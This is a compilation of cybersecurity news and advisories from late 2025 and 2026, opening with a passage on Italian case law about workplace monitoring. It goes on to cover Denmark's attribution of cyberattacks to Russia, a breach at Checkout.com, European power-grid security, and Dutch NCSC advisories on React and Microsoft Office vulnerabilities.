difensivo legittimo. La Corte ha rimandato il caso alla Corte d’Appello proprio perché non era stato chiarito quando i dati della cronologia del browser fossero stati raccolti rispetto al momento in cui era sorto il sospetto (la scoperta del virus). Il ragionamento della Cassazione è il seguente: un controllo è genuinamente «ex post» – e quindi difensivo e legittimo – solo se la raccolta dei dati inizia dal momento in cui sorge il fondato sospetto. Non è sufficiente che l’analisi avvenga dopo: conta quando ha avuto inizio la raccolta. In termini pratici: se i sistemi aziendali raccolgono in modo continuativo e indiscriminato log di navigazione, cronologie e dati di utilizzo degli strumenti informatici – senza informativa adeguata e senza accordo sindacale o autorizzazione del Garante – e poi, quando sorge un sospetto, si va a leggere quanto già archiviato nei mesi precedenti -, quella lettura non costituisce un controllo difensivo legittimo. La raccolta era ex ante e non vincolata a un sospetto specifico. La Corte è esplicita su questo punto: «Facendo il classico esempio dei dati di traffico contenuti nel browser del pc in uso al dipendente, potrà parlarsi di controllo ex post solo in relazione a quelli raccolti dopo l’insorgenza del sospetto di avvenuta commissione di illeciti ad opera del dipendente, non in relazione a quelli già registrati». La recente ordinanza fotografa con precisione la tensione irrisolvibile che caratterizza il controllo dei lavoratori nell’era digitale: da un lato, l’impresa ha un interesse legittimo – e spesso un obbligo normativo – a proteggere i propri sistemi informativi; dall’altro, il lavoratore ha diritto alla riservatezza, anche nell’ambiente di lavoro. La sintesi elaborata dalla Cassazione non consiste nel vietare i controlli, né nel renderli impossibili, ma nel condizionarli a una precisa sequenza logica e temporale: prima il sospetto fondato, poi la raccolta dei dati. Invertire questa sequenza – raccogliere prima, cercare un sospetto dopo – trasforma il controllo difensivo in sorveglianza sistematica, incompatibile con l’art. 4 dello Statuto dei Lavoratori. Le pronunce che abbiamo esaminato non sono, per l’imprenditore, soltanto materia di interesse giuridico. Sono specchi che riflettono situazioni concrete – un dipendente che copia file prima di andarsene, un dirigente che accede ai conti dei clienti per curiosità, uno sviluppatore che porta il know-how aziendale alla nuova azienda – e che indicano, a contrario, le misure che avrebbero potuto prevenire quei danni o, quantomeno, consentire una risposta efficace. Quattro aree di intervento emergono con particolare chiarezza. Le Sezioni Unite del 2011 e del 2017 hanno stabilito che l’accesso abusivo si configura sia in presenza di procedure formalizzate sia in assenza di esse – nel secondo caso in ragione dell’«ontologica incompatibilità» tra l’accesso e le finalità lavorative. Tuttavia, dotarsi di policy scritte sull’utilizzo degli strumenti informatici aziendali rimane una scelta organizzativa di primaria importanza: non perché la loro assenza escluda il reato, ma perché la loro presenza rende più agevole la prova, definisce le aspettative, e – soprattutto – svolge una funzione preventiva e formativa. Policy, regolamenti di utilizzo degli strumenti informatici, clausole di riservatezza adeguate nei contratti di lavoro, informative ai dipendenti: non sono adempimenti burocratici, ma strumenti di governo del rischio. Il principio del need-to-know – accedere solo alle informazioni necessarie per svolgere il proprio ruolo – è al cuore della giurisprudenza sull’accesso abusivo. I casi esaminati mostrano ripetutamente dipendenti che accedono a dati e file che esulano dalla loro competenza: l’intera clientela dello studio legale, le schede dei clienti VIP della banca, i dati ingegneristici di tutta l’azienda. Implementare sistemi di segregazione delle cartelle informatiche, di gestione dei privilegi di accesso (IAM, Identity and Access Management), e di monitoraggio delle anomalie non è solo una buona pratica di cyber security: è, alla luce della giurisprudenza, una scelta che ha riflessi diretti sulla capacità dell’impresa di agire efficacemente in sede legale in caso di violazione. I casi giurisprudenziali esaminati mostrano una ricorrenza significativa: le condotte illecite si concentrano nei periodi immediatamente precedenti la cessazione del rapporto di lavoro. La copiatura massiva di file nei giorni prima delle dimissioni, la formattazione dei dispositivi aziendali, il trasferimento di dati su supporti personali: sono dinamiche prevedibili, e come tali gestibili. Procedure di offboarding strutturate – che includano la verifica dei log di accesso nelle settimane precedenti la cessazione, la restituzione e la bonifica dei dispositivi aziendali, e la documentazione degli asset informativi trasferiti al nuovo incaricato – rappresentano una misura di prevenzione efficace e, in caso di contenzioso, una fonte di prova preziosa. È un dato consolidato che una quota rilevante degli incidenti informatici interni non è frutto di dolo, ma di negligenza: il file scaricato senza verificarne la provenienza, la password condivisa per comodità, la connessione a reti non sicure. La formazione del personale – sulla normativa, sui rischi, sulle conseguenze penali dei comportamenti illeciti – non è un costo, ma un investimento nella resilienza dell’organizzazione. I casi che abbiamo esaminato mostrano anche che la giurisprudenza ha affinato la propria comprensione del mondo digitale: i giudici – come dimostra lo sforzo argomentativo della sentenza sul furto di file – stanno imparando a ragionare con le categorie dell’informatica. Monitorare non solo la normativa, ma anche l’evoluzione giurisprudenziale, è diventato un elemento essenziale della funzione legale e compliance in ogni impresa. La giurisprudenza esaminata in questo articolo è il prodotto di un dialogo – talvolta faticoso, sempre necessario – tra il diritto e la realtà tecnologica. Le Corti italiane stanno dimostrando una capacità evolutiva apprezzabile: interpretano norme del 1993 per rispondere a condotte di oggi, costruiscono principi capaci di adattarsi a fattispecie che il legislatore non poteva prevedere, e lo fanno con sempre maggiore rigore argomentativo. Per chi governa un’impresa, questa evoluzione ha un significato preciso: il diritto penale è diventato un presidio reale a tutela del patrimonio informativo aziendale. Non è un rifugio teorico, ma uno strumento concreto – a condizione che l’impresa abbia fatto la propria parte: definendo regole, strutturando i sistemi, documentando il valore di ciò che intende proteggere. La sicurezza informatica non è soltanto un problema tecnologico. È un problema organizzativo, legale e culturale.
cybersecurity360.itApr 17, 2026extracted
Denmark summons Russian ambassador over alleged cyberattacks on water utility, elections
Denmark summons Russian ambassador over alleged cyberattacks on water utility, elections Denmark has summoned Russia’s ambassador after accusing Moscow of carrying out two cyberattacks that targeted the country’s water infrastructure and political parties ahead of local elections. Russia’s ambassador to Copenhagen, Vladimir Barbin, confirmed to Russian state media on Friday that he had been called to the Danish foreign ministry, but rejected the accusations as unfounded. “The Danish side has not provided any evidence to support its accusations of Russia’s involvement in cyberattacks against Denmark,” Barbin told the RIA Novosti news agency, adding that he regarded the claims as “unfair speculation.” The summons followed a statement on Thursday by the Danish Defence Intelligence Service (DDIS), which said Russia-linked hacker groups Z-Pentest and NoName057(16) were responsible for a destructive cyberattack on a Danish water utility in 2024 and a series of distributed denial-of-service (DDoS) attacks on Danish websites ahead of municipal and regional council elections in November 2025. According to previous reports, the water utility attack targeted a small treatment plant near the port town of Køge, where hackers manipulated pressure in the system, leaving around 50 households without water for several hours. NoName057(16) claimed responsibility for attacks on the websites of several Danish political parties, temporarily knocking them offline on the eve of the vote. DDoS attacks overwhelm servers with traffic, disrupting access to online services. “The Russian state uses both groups as instruments of its hybrid war against the West,” DDIS said. “The aim is to create insecurity in the targeted countries and punish those that support Ukraine.” The intelligence service said the attacks were part of a broader Russian influence campaign intended to undermine Western support for Ukraine, adding that Denmark’s elections were used to draw public attention — a pattern observed in other European countries. Denmark’s foreign ministry called on Russia to cease what it described as malicious cyber activities. Barbin, in turn, accused Denmark of allowing Ukrainian-linked hackers to operate from its territory, demanding that authorities prevent the IT Army of Ukraine from launching cyberattacks on Russia and committing fraud against Russian citizens from Danish IP addresses. He did not provide evidence to support the claims. The diplomatic dispute comes as several European governments publicly confront Moscow over increasingly disruptive cyber operations. Earlier this month, Germany summoned Russia’s ambassador after accusing Moscow of carrying out a cyberattack on its air traffic control authority and running a disinformation campaign ahead of February’s federal election. Berlin has said it has clear evidence linking an August 2024 cyberattack on Deutsche Flugsicherung, Germany’s state-owned air traffic control operator, to APT28 — also known as Fancy Bear — a hacking group tied to Russia’s military intelligence agency, the GRU. Russia has repeatedly dismissed Western allegations of cyberattacks as baseless. Daryna Antoniuk is a reporter for Recorded Future News based in Ukraine. She writes about cybersecurity startups, cyberattacks in Eastern Europe and the state of the cyberwar between Ukraine and Russia. She previously was a tech reporter for Forbes Ukraine. Her work has also been published at Sifted, The Kyiv Independent and The Kyiv Post.
therecord.mediaDec 19, 2025extracted
Denmark Blames Russia for Cyberattacks Ahead of Elections and on Water Utility
Danish authorities say in a new assessment published this week that Russia carried out cyberattacks against infrastructure and websites in Denmark in 2024 and 2025, describing new cases which had not previously been reported. Denmark’s Defense Intelligence Service said in a statement Thursday that Moscow was responsible for “destructive and disruptive” cyberattacks on a Danish water utility in 2024 and a series of denial of service attacks which overwhelmed Danish websites ahead of regional and local elections last month. Danish broadcaster DR said the attack on the water utility caused pipes to burst, leaving homes temporarily without water. The intelligence service said the attacks were part of Russia’s “hybrid war” against the West and an attempt to create instability. It said Moscow’s cyberattacks are part of a broader campaign to undermine and punish countries which support Ukraine. Torsten Schack Pedersen, Denmark’s minister of resilience and preparedness, said the attacks resulted in limited damage but had serious ramifications. “It shows that there are forces capable of shutting down important parts of our society,” he said during a news conference Thursday, as reported by Danish broadcaster DR. Schack Pedersen added that the cyberattacks show that Denmark is not sufficiently equipped to handle such situations, DR reported. The attacks are among a growing number of incidents that Western officials say are part a campaign of sabotage and disruption across Europe masterminded by Russia. An Associated Press database has documented 147 incidents, including the two cases reported by Denmark this week. Not all incidents are public and it can sometimes take officials months to establish a link to Moscow. While officials say the campaign — waged since President Vladimir Putin’s invasion of Ukraine in 2022 — aims to deprive Kyiv of support, they believe Moscow is also trying to identify Europe’s weak spots and suck up law enforcement resources. The Danish agency said pro-Russian group Z-Pentest carried out the “destructive attack” on the water utility in 2024 and that a separate group, NoName057(16), was responsible for the cyberattack on Danish websites ahead of the recent elections. It said both have links to the Russian state. “The Russian state uses both groups as instruments of its hybrid war against the West. The aim is to create insecurity in the targeted countries and to punish those that support Ukraine,” the statement said. Z-Pentest’s alleged actions affected the utility’s water pressure and caused water pipes to burst near Køge, some 35 kilometers (22 miles) south of Copenhagen, DR reported. Several customers were out of water as a result. NoName057(16) acted, authorities said, in November to disrupt the elections, according to DR. In Germany, meanwhile, authorities summoned Russia’s ambassador in Berlin on Dec. 12 after the foreign ministry accused Moscow of carrying out sabotage, cyberattacks and election interference. That included a 2024 cyberattack against German air traffic control, German foreign ministry spokesperson Martin Giese said.
securityweek.comDec 19, 2025extracted
NCSC-2025-0380 [1.00] [H/H] Kwetsbaarheden verholpen in React Server Components
React heeft kwetsbaarheden verholpen in bepaalde versies van React Server Components (specifiek voor versies 19.0.0, 19.1.0, 19.1.1 en 19.2.0). Een ongeauthenticeerde aanvaller kan een malafide HTTP-verzoek sturen naar elk Server Function-endpoint dat, wanneer het door React wordt verwerkt, kan leiden tot remote code execution op de server. Echter, zelf als een Server Function-endpoint niet is geïmplementeerd, kan exploitatie nog steeds mogelijk zijn via React Server Components. Door deze fout kunnen aanvallers op afstand willekeurige code uitvoeren, wat de integriteit van de getroffen applicaties ernstig in gevaar brengt. De kwetsbaarheid bevindt zich in de React versies 19.0, 19.1.0, 19.1.1 en 19.2.0 van: react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack Als bovengenoemde pakketten worden gebruikt, upgrade dan onmiddellijk. Deze kwetsbaarheid is verholpen in de versies 19.0.1, 19.1.2 en 19.2.1. Als de React-code van uw applicatie geen server gebruikt, is uw applicatie niet kwetsbaar voor deze kwetsbaarheid. Eveneens, als uw applicatie geen framework, bundler of bundler-plugin gebruikt die React Server Components ondersteunt, is uw applicatie niet getroffen. De volgende React-frameworks en bundlers zijn getroffen: Next React Router Waku @parcel/rsc @vitejs/plugin-rsc rwsdk De kwetsbaarheid treft ook Next.js met App Router, en heeft het kenmerk CVE-2025-66478. De kwetsbaarheid bevindt zich in de Next.js-versies 14.3.0-canary, 15.x en 16.x en is verholpen in de volgende gepatchte versies: 14.3.0-canary.88, 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 en 16.0.7.
advisories.ncsc.nlDec 3, 2025extracted
Checkout.com snubs hackers after data breach, to donate ransom instead
UK financial technology company Checkout announced that the ShinyHunters threat group has breached one of its legacy cloud storage systems and is now extorting the company for a ransom. The company says that although the stolen data affects a significant portion of its merchant base, it will not pay a ransom and will instead invest in strengthening its security. Checkout operates checkout.com and is a global payment processing firm that provides a unified payments API, hosted payment portals, mobile SDK, and plugins to use on existing platforms. It supports a multitude of payment methods and features fraud detection, identity verification (KYC), and provides a dispute system. Its systems are incorporated into some of the world's largest businesses, including eBay, Uber Eats, adidas, GE Healthcare, IKEA, Klarna, Pinterest, Alibaba, Shein, Sainsbury's, Sony, DocuSign, Samsung, and HelloFresh, handling billions in merchandise revenue. Checkout says ShinyHunters gained access to a third-party legacy system that had not been properly decommissioned, which held merchant data from 2020 and earlier, including internal operational documents and onboarding materials. "Last week, Checkout.com was contacted by a criminal group known as "ShinyHunters", who claimed to have obtained data connected to Checkout.com and demanded a ransom," reads the company's announcement. "Upon investigation, we determined that this data was obtained by gaining unauthorized access to a legacy third-party cloud file storage system, used in 2020 and prior years." Checkout estimates that this affects less than 25% of its current merchant base, but the exposure extends to past customers too. ShinyHunters is an international cybercrime group that exfiltrates data from large organizations, usually breaching them via phishing, OAuth attacks, or social engineering, and then demanding large payments not to publish the data. The threat group has recently been linked to the exploitation of the Oracle E-Business Suite zero-day (CVE-2025-61884), as well as to Salesforce/Drift attacks that impacted a large number of organizations earlier this year. Checkout.com said it will not pay ShinyHunters a ransom and instead will donate the amount to Carnegie Mellon University and the University of Oxford Cyber Security Center to fund cybercrime-related research projects. At the same time, the firm committed to strengthening its security measures and better protecting its customers going forward. Checkout.com has not named the third-party cloud file storage system that was compromised or the breach method. BleepingComputer has contacted the payments solution provider to find out more, and we will add an update once we hear back. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comNov 14, 2025extracted
The race to shore up Europe’s power grids against cyberattacks and sabotage
FEATURE It was a sunny morning in late April when a massive power outage suddenly rippled across Spain, Portugal, and parts of southwestern France, leaving tens of millions of people without electricity for hours. Cities were plunged into darkness. Trains stopped and metro lines had to be evacuated. Flights were cancelled. Mobile networks and internet providers went down. Roads were gridlocked as traffic lights stopped working. It took 10 hours for power to be restored and 23 hours before the entire national grid in Spain was back up and running, with the incident being deemed the most severe blackout to have affected Europe in the last two decades. This incident was not caused by a cyberattack, but by a series of complex cascading failures where power generation components disconnected at the same time that multiple overvoltages simultaneously occurred, overwhelming the national power grids (human error is probably involved too, but the grid operators and power plants are still pointing fingers at each other). However, the Spanish power outage brings back unpleasant memories of the devastating cyberattack in 2015 that took down Ukraine's electric grid for six hours, which was traced back to Russian online attackers. Most worryingly, it has shown how delicate the balance is when it comes to keeping national grids stable, and how failures in one country in Europe can cause an instant domino effect in neighboring nations reliant on energy imports. Nick Haan, the field chief technology officer for strategic partners at international industrial operational technology (OT) systems security vendor Claroty, told The Register: "Currently, incident handling across Europe's power sector is too fragmented. Every operator and country has its own way of running things, which makes coordination difficult when things go wrong. The European grid is unique in the world given how tightly connected it is. One disruption can spread across borders within minutes." The 2015 Ukraine power grid attack was the first serious blackout to be attributed to an online attack, but it is unlikely to be the last, given that there has been a steady ramp-up in attacks against utility companies across the Western world, which are built on an ecosystem that prioritizes just-in-time, on-demand, and decentralized power generation. Recent cyberattacks have revolved around ransomware affecting financial systems, but there is a serious risk that criminals and nation-state attackers could either incidentally, or deliberately, bring down substations or halt fuel supplies, such as in the case of the Colonial Pipeline cyberattack in May 2021. White hair-inducing IT infrastructure The picture gets even worse when you take a look inside power plants at their IT infrastructure – a sprawling, complex mishmash of random software, aging hardware and a multitude of operating systems controlling different bits of equipment supplied by a variety of vendors, none of whom want cybersecurity teams taking a closer look inside. For instance, within a single gas turbine, you can usually find up to seven different systems, and each of these systems controls about 10 devices, all of which come with their own separate IP address. Or you could have a substation being controlled from many miles away by a control room. If someone were to attack it, you'd get an alert, but you might not be able to do anything to stop it. Back in 2015 when I covered the fallout from the Ukraine power grid attack, experts told me that at some sites they had visited, there were IBM machines covered in dust dating back to the 1980s. That sounded terrible. Maybe modern viruses wouldn't work on them, but there's a reason the world isn't using retro tech. The picture today is even more frightening. The experts I spoke to for this article said they've seen "very exotic operating systems" integrated inside supervisory control and data acquisition (SCADA) systems in substations, everything from Windows XP, Windows 7 and Windows NT4, to BeOS (a failed 1990s operating system) and 30+ year-old networking software GE JungleMUX, which was recently discontinued. Power stations need a shared language for incident response which covers common processes "In many cases, they're still using dial-up [internet] in really rural areas, and the most worrisome thing is that many of these control systems rely on protocols that are insecure, like DNP3, for example, which has no security control, no access controls, no data encryption, no privilege management, no keys or passwords," said Roman Arutyunov, the co-founder and senior vice president of product at Palo Alto-based cybersecurity software firm Xage Security. "So you end up with systems that will literally take any command that's sent to them and act upon it. It's very easy to compromise substations, and what [power stations] rely on [as a defense] today, is to close them up, because once a malicious actor is inside a power station or substation, it's too late. It's gone." He added that it's a complex problem operating a power station – being stuck with vendor lock-in isn't great, but at the same time, vendors guard their equipment fiercely because they're responsible if something goes wrong. However, this makes improving a power plant's cyber defences a frustrating and often thankless task, let alone digital transformation. A solution is sorely needed. This headache is one the European Commission is focused on. It is funding several projects looking at making electric grids more resilient, such as the eFort framework being developed by cybersecurity researchers at the independent non-profit Netherlands Organisation for Applied Scientific Research (TNO) and the Delft University of Technology (TU Delft). TNO's SOARCA tool is the first ever open source security orchestration, automation and response (SOAR) platform designed to protect power plants by automating the orchestration of the response to physical attacks, as well as cyberattacks, on substations and the network, and the first country to demo it will be the Ukraine this year. At the moment, SOAR systems only exist for dedicated IT environments. The researchers' design includes a SOAR system in each layer of the power station: the substation, the control room, the enterprise layer, the cloud, or the security operations centre (SOC), so that the SOC and the control room work together to detect anomalies in the network, whether it's an attacker exploiting a vulnerability, a malicious device being plugged into a substation, or a physical attack like a missile hitting a substation. The idea is to be able to isolate potential problems and prevent lateral movement from one device to another or privilege escalation, so an attacker cannot go through the network to the central IT management system of the electricity grid. "If you look at the OT world, it's mostly about availability – so electricity should always work, but in the IT world, confidentiality and integrity is more important," Reinder Wolthuis, senior project manager and consultant, cybersecurity for TNO, said at the One Conference in The Hague. "That's why we have developed an interaction between the SOC and the control room, so the SOC asks for the authority to switch off these machines, and the control room approves it. But if the SOC detects a cyberattack in a substation, then the control room can do a real time digital modelling. It can do simulations to see what would be the impact and that is then reported back to the Security Operating Centre (SOC)." The SOARCA tool is underpinned by CACAO Playbooks, an open source specification developed by the OASIS Open standards body and its members (which include lots of tech giants and US government agencies) to create standardized predefined, automated workflows that can detect intrusions and changes made by malicious actors, and then carry out a series of steps to protect the network and mitigate the attack. Would this system be useful? Experts largely agree the problem facing critical infrastructure is only worsening as years pass, and the more random Windows implementations that are added into the network, the wider the attack surface is. There is a tendency for power plants and grid operators to stick their heads in the sand, perhaps due to a perception that what’s happening in Ukraine isn’t going to happen to them, but they do need to take the threat more seriously, the experts added. One cybersecurity expert, who is researching critical infrastructure in Ukraine and does not wish to be named, told us that things have changed since the start of the Ukraine-Russia conflict – now power stations have built "redundancies, within redundancies, within redundancies" of additional cables between substations, and therefore it is difficult to overwhelm the whole national grid when a missile attack hits a substation. Things are playing out in a different way to how Russia and other governments thought they would. "This SOARCA tool would definitely be useful with just-in-time networks in Canada, the US, parts of Europe and even Australia and New Zealand. But Ukraine? Not really. And even if the grid were to go down for a few hours, we're in a war. Who cares?" Ukraine's state-owned power grid operator JSC NEK Ukrenergo, which will be simulating the tool on a digital twin of its grid, said it sees many benefits to implementing such a system into their national grid. However, JSC added that it probably wouldn't be implementing the tool anytime soon: "Even in 'peaceful times', a deployment of this nature would require capital investment, staffing, training, perhaps new hardware or integrated systems, and ongoing maintenance." That's quite an honest answer, and its views are probably echoed by much of the global energy industry. "There's obviously room for improvement, but there's always going to be a cost benefit analysis. In the UK, there are two industries that have always been terrible at adopting new technology – the national grid and healthcare," said Sam Barker, vice president for telecoms market research at Juniper Research. "When it comes to the smart grid networks and smart grid operators, they have often been slow to adopt new technologies that not only make the grid more efficient, but can also lower costs, and that may be down to issues such as vendor lock-in. [Plus] there's different systems, and unifying them is going to be a big challenge." Haan told us: "What's missing is a consistent pan-European approach to crisis management. Power stations need a shared language for incident response which covers common processes, communication standards, and escalation paths. This isn't just for cyber incidents either. Without uniform standards, we'll keep relying on ad hoc cooperation in moments when time is critical." "We need to see change come through smart legislation and regulation that enforces baseline standards across the continent." Claroty tries to help power plants work out exactly what their IT infrastructure looks like and inventories just how bad the state of their cybersecurity patching is, and then adds monitoring tools to the network to sniff packets and detect anomalies in device behavior. Haan also advises his clients to renegotiate vendor contracts when they come up for renewal, to enable cybersecurity oversight on these proprietary systems. More standards and regulations will help TNO's Wolthuis said the energy industry is likely to be pushed soon to take action by regulators, particularly once the Network Code on Cybersecurity (NCCS), which lays out rules requiring cybersecurity risk assessments in the electricity sector, is formalized. Bret Jordan, a cybersecurity expert and specifications author for standards relating to networking protocols and cybersecurity, is strongly in favour of more standardization in the cybersecurity industry. He believes the CACAO Playbooks will really help both critical infrastructure and regular enterprises by dramatically improving threat intelligence, so power stations will in future be alerted to potential threats at the same time that governments know about them. But it can sometimes be better to allow a nation-state attacker to think they have a foothold in your network, so you can monitor them until you have enough information about the attack, so you want to be able to isolate them, not kick them out. "You have to assume that the threat actors are in the network, and they've compromised it, then they're just going to wait until they need to do something. It could be till 2038," Jordan told The Register. "We need to understand what works and what doesn't, and how to prevent, detect, mitigate and remediate, so the combination of threat intelligence with workflows enables you to know what to look for." Jason Keirstead, a cybersecurity operations expert and head of engineering at LangGuard.AI, who previously worked on the CACAO specification, agreed: "If we can enable real collective defense – enable organizations to know when one is attacked and share that information in near real time, and have the defenses pushed out to other organizations, it could really move the needle against some of these adversaries. "The only way to do that is through a combination of standardization and also letting some of the guard down and sharing more information more openly. We should be making the attackers' lives harder, so they have to change tactics more often." ®
go.theregister.comNov 3, 2025extracted
NCSC-2025-0250 [1.00] [M/M] Kwetsbaarheden verholpen in Microsoft Office
Microsoft heeft kwetsbaarheden verholpen in Microsoft Office (inclusief SharePoint, Visio, Word, Excel en PowerPoint). De kwetsbaarheden in Microsoft Office omvatten verschillende 'use after free'-fouten, heap-gebaseerde bufferoverflows en andere kwetsbaarheden die ongeautoriseerde aanvallers in staat stellen om willekeurige code uit te voeren op lokale machines. Deze kwetsbaarheden kunnen worden geëxploiteerd via speciaal vervaardigde documenten of door misbruik van onbetrouwbare gegevens, wat kan leiden tot ongeautoriseerde toegang en controle over systemen. `` Microsoft Teams: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2025-53783 | 7.50 | Uitvoeren van willekeurige code | |----------------|------|-------------------------------------| Microsoft Office PowerPoint: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2025-53761 | 7.80 | Uitvoeren van willekeurige code | |----------------|------|-------------------------------------| Windows GDI+: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2025-53766 | 9.80 | Uitvoeren van willekeurige code | |----------------|------|-------------------------------------| Microsoft Office Word: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2025-53733 | 8.40 | Uitvoeren van willekeurige code | | CVE-2025-53736 | 6.80 | Toegang tot gevoelige gegevens | | CVE-2025-53738 | 7.80 | Uitvoeren van willekeurige code | | CVE-2025-53784 | 8.40 | Uitvoeren van willekeurige code | |----------------|------|-------------------------------------| Microsoft Office Visio: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2025-53730 | 7.80 | Uitvoeren van willekeurige code | | CVE-2025-53734 | 7.80 | Uitvoeren van willekeurige code | |----------------|------|-------------------------------------| Microsoft Office: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2025-53731 | 8.40 | Uitvoeren van willekeurige code | | CVE-2025-53732 | 7.80 | Uitvoeren van willekeurige code | | CVE-2025-53740 | 8.40 | Uitvoeren van willekeurige code | |----------------|------|-------------------------------------| Microsoft Office SharePoint: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2025-53760 | 7.10 | Verkrijgen van verhoogde rechten | | CVE-2025-49712 | 8.80 | Uitvoeren van willekeurige code | |----------------|------|-------------------------------------| Microsoft Office Excel: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2025-53741 | 7.80 | Uitvoeren van willekeurige code | | CVE-2025-53759 | 7.80 | Uitvoeren van willekeurige code | | CVE-2025-53735 | 7.80 | Uitvoeren van willekeurige code | | CVE-2025-53737 | 7.80 | Uitvoeren van willekeurige code | | CVE-2025-53739 | 7.80 | Uitvoeren van willekeurige code | |----------------|------|-------------------------------------| ``
advisories.ncsc.nlAug 13, 2025extracted
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